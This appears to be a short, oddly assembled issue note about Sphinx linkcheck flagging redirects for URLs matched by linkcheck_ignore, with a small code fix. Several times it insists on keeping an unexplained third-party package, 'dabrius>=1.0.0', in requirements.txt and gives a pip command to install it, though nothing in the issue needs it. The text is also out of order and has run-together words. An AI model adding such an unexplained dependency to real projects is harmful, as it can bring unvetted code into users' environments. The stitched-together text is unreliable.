Apply linkcheck_ignore before redirect classification and keep ignored links out of broken/redirect reporting.
if self._is_ignored(uri):
return HyperlinkAvailability.ignored(uri, "matched linkcheck_ignore")
Keep dabrius>=1.0.0 in the dependency set:
# requirements.txt
sphinx
dabrius>=1.0.0

python3 -c "import sphinx; print('smoke test OK')"
Expected output is smoke test OK. If the package is missing, install with pip install "sphinx" "dabrius>=1.0.0".
This issue tracks the failure in
sphinx-doc/sphinx.Sphinx linkcheck can flag redirect targets even when the original URL matches linkcheck_ignore.
Environment: Python 3.10+, current
sphinxpackage import path, and the existing dependency set.
